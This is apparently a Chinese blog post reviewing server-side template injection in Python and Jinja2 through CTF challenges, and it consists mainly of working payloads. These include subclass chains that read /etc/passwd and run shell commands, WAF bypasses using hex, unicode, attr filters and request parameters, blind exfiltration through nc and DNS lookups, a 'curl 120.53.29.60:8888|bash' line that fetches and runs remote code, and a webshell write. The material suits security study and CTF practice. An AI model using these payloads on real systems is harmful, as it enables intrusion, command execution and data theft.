模板注入一个亘古不变的话题,现在来深入的了解一下;
基础点都不再赘述;网上资料很多;这里主要分享一下在再次复现SSTI的时候发现的一些有趣的点;
首先来说有一个可以直接利用的链条;
''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()
这里我们可以直接调用file类进行文件读取;这里再分享几种找到file的方法;通过简单的实践来看,我们可以找到任何有globals属性的class对其进行实例化,然后拿到全局,从而再窃取到可直接利用的函数,从而调用;
''.__class__.__mro__[-1].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
当然,除了file之外,我们还可以找到并利用一些内置的函数;比如eval;
''.__class__.__mro__[-1].__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
''.__class__.__mro__[-1].__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
此种写法有的时候可以绕过waf,但是更重要的是有的时候一般的system会无回显,那么这种read的方式,可以很好的避免;
当然,既然已经找到了可以调用的方法,我们也可以看到有一个open方法可以直接调用;所以可以直接调用open方法进行读取即可;
''.__class__.__mro__[-1].__subclasses__()[xx].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()
既然之前调用的eval函数,然后进行导入模块os去执行,那么我们可以直接导入os模块然后去进行命令执行;建议利用warnings.catch_warnings
和codecs.IncrementalEncoder
这两个类;
''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['sys'].modules['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['sys'].modules['os'].popen('ls').read()
第二个payload和之前的原理一样,都是为了解决无回显的问题;这里我们只需要找到有globals的一个class,从而对其进行实例化然后拿到全局,就可以进行攻击;因为后面调用的module或者module下的函数,基本上我们在每个class类实例化之后都可以找到;只有极少数的class是无globals的;比如:site._Helper
;所以这种方法也差不多可以理解为通杀的方法;
或者采取更加简单的方法我们可以在基类的子类中找到一个子类,在其全局中就可以直接调用os模块;找到这个类:site._Printer
这个类中存在导入的os模块,这可以使攻击者直接使用进行攻击;
''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system("ls")
''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()
用来解决无回显的问题;(留个小点后面细说
一点小感悟:
在进行SSTI复现的时候,发现在调用全局之后,我们如果想具体的调用某个方法,还是得需要去调用模块,然后进而去调用方法,globals在获取全局之后,后面需要调用的是一个模块,只有调用了模块,才可以继续调用方法,当然,除了直接调用os模块之外,也是可以间接调用os这种的模块,那么就直接可以后接命令执行即可;但是前提是存在全局中引用os模块的类,也就是site._Printer
这样的类;当然除了site._Printer
之外,我还找到了site.Quitter
在其中也是可以间接调用os模块的,其他我暂时未发现;利用os模块从而可以直接进行后接命令攻击;
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].os.system('ls')
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].os.popen('ls').read()
''.__class__.__mro__[-1].__subclasses__()[76].__init__.__globals__['os'].system("ls")
''.__class__.__mro__[-1].__subclasses__()[76].__init__.__globals__['os'].popen("ls").read()
解决无回显问题,除了之前说的利用popen结合read来读取之外,如果靶机可以通外网,那么可以利用nc进行转发;其利用也是调用system然后进行命令执行然后通过管道符进行命令拼接,从而可以实现回显结果外带;这里payload很多,只要可以拿到system就可以实现;举几个例子:
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].os.system('ls | nc xxxxx port')
载荷效果如下:
当然,这种的一次性的交互毕竟比较麻烦,如果可以,则也可以实现shell反弹,具体也可以利用system进行命令反弹;具体的反弹shell的方法,网上也很多种,也可以结合system来进行;给出一个payload;
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].os.system('curl 120.53.29.60:8888|bash')
上述使用的是curl的反弹shell的方法,其实也是可以使用其他的反弹shell方法,其根本原理也就是我们调用了system所以可以命令执行;所以解决无回显问题,还是最好找到system;其实python环境不见得所有都一样,所以建议还是按照相应得类来找system比较合适,因为上述payload不见得在所有得环境下都可以攻击成功,还是需要在对应得环境中找到相应得system才可攻击成功;
和之前一样,我们拿到system方法之后可以 curl `whoami`.域名
可以通过dnslog实现回显外带;
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].os.system('sleep $(whoami | cut -c 1 |tr r 5)')
即刻达到盲注得效果;
上面说到了解决无回显问题;那么接着无回显得问题拓展一下攻击面;我们拿到system,但是命令执行无回显,并且也无法出外网得情况下,可考虑写入shell;直接调用file类或者system写入即可;前提也是需要有写入权限;不过概率一般不大,也是为了避免搅屎,但是有的时候也可以尝试直接拿shell;
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].os.system('echo "<?php phpinfo();?>">a.php')
即可完成写入;其实这种得payload很多,我们可以利用很多链条找到os模块从而调用system方法;或者也可以就之前所说直接file写入即可;
灵感来源于上海大学生的一个web之ssti的题,当时测试一直无回显,本来想着
1 | {%if%}1{%endif%} |
进行盲注,找到了摸索很久找到了可以弹shell的模块,但是后来发现无法出网,太艹了;但是想来之前一篇文章中有利用json格式进行ssti注入的点,这里测试了下,发现可以回显后面的value,那么要回显之前的key,在之前加入print进行输出;然后利用json格式的解析进行回显;
1 | {"{%print ''.__xxxxx%}","number"} |
即可进行回显攻击;
此种写法在模板渲染的时候可以使用,但是在python环境直接测试确实无法使用的;用这种方法可以突破对小数点和下划线还有单引号的过滤;
1 | {{"".__class__}} |
两种方法等价;这里\x5f即是我们的下划线;那么利用这种写法我们上述的各种方式都是可以改变的;
1 | {{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[57]}} |
后面的利用链在上述都有利用的payload;师傅们可以自行转化,这里不再转化;
列举一个华为的CTF的竞赛题;当时三个web都是考的SSTI;一个是利用cookie结合request进行传参绕过;还有一个是利用十六进制进行绕过;当时过滤了双大括号,可以利用
1 | {%%} |
进行绕过,然后利用print进行外带;当时过滤了很多字符,可以直接全部利用hex进行转化;利用括号进行窃取全局变量,放出当时的payload;
1 | {%print(()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(202)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x65\x76\x61\x6c")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x72\x65\x61\x64\x28\x29"))%} |
利用hex结合attr过滤器,从而进行ssti的完成,直接执行popen;结合read进行回显;
另外一个ssti是在后台,前端是个sql注入,测试之后是sqlite数据库,考的很明确,过滤了一些简单的字符,进行注入之后进入user表下的用户名admin和密码,然后拿到密码之后,进入后台获得admin的权限;然后有个查找留言的框;经过简单的fuzz之后再次发现了sql注入,和原本的sql注入的payload一样,当时以为可以注入出后两个表,后来发现不行,然后想到一个考点是sql结合了ssti进行攻击,所以当时测试了下,发现在guest发生错误的时候,程序会进行渲染,而且是单个字符;测试发现{{2*2}}
可以回显4,所以直接测试ssti攻击,直接拿着之前的payload进行攻击,可以直接拿到flag;
这种方法在之前的太湖杯中有用到过,当时是字符规范化利用点,利用unicode的不规范化字符从而经过引擎处理之后使其规范化从而拼接达到SSTI的效果;这里也可以直接利用unicode编码去绕过;
将我们需要绕过的字符进行unicode编码;也是可以结合一些过滤器进行使用;
1 | {%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%} |
这个是安洵杯的一个SSTI的payload;可以看出unicode可以再某些渲染中直接绕过;
在flask框架进行注入的时候;可以用request变量来突破;因为request变量可以访问到我们提交的变量那么就可以使用request.args.<param>
语法然后在我们的渲染后面传入参数从而绕过waf后进行拼接达到SSTI注入效果;
比如:
{{request[request.args.s1mple]}}&s1mple=__class__
就可以成功绕过;
request[request
基于上述的方法,如果我们还是无法绕过的话,可能是我们的request[request惨遭过滤,这时候就需要用到jinja2模板的内置过滤器来辅助;
在jinja2中有一个attr过滤器;这个过滤器可以获得对象的属性
1 | attr(obj, name) |
{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}
首先拿到全局,然后在全局下搜索到os模块,然后触发os模块下的popen函数然后read进行回显;可以看成attr这个过滤器充当了点的角色;
__class__
因为jinja2中支持管道+jion的方法;所以这可以进行拼接
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
解释一下解析流程,首先读取后面的变量将其放入到对应的参数点,然后再进行payload中的运算,比如usc*2;最后进行attr过滤器的调用;进行获得属性;最后拼接成{{request._\_class_\_}}
可以使用getlist从而得到一个列表;利用函数构造出我们需要的数组格式;
{{request|attr(request.args.getlist(request.args.g)|join)}}&g=a&a=_&a=_&a=class&a=_&a=_
如此就可以形成getlist(__class__)
的效果;最后就是[__class__]
;自然也就会引入中括号;
{{''|attr(__class__)|attr(__mro__)request.args.getlist(a)|attr(__subclasses__()request.args.getlist(b))|attr(__init__)|attr(__globals__)request.args.getlist(c)|attr("os")|attr("system")("ls")}}&a=-1&b=[59]&c='linecache'
当然,不用这种方法也是可以的;这种只是方法之一;
其实这种拓展攻击面也不算是新得拓展,只是老生常谈得一些姿势;今天偶然兴起,就分享一下;也算是对SSTI得回顾;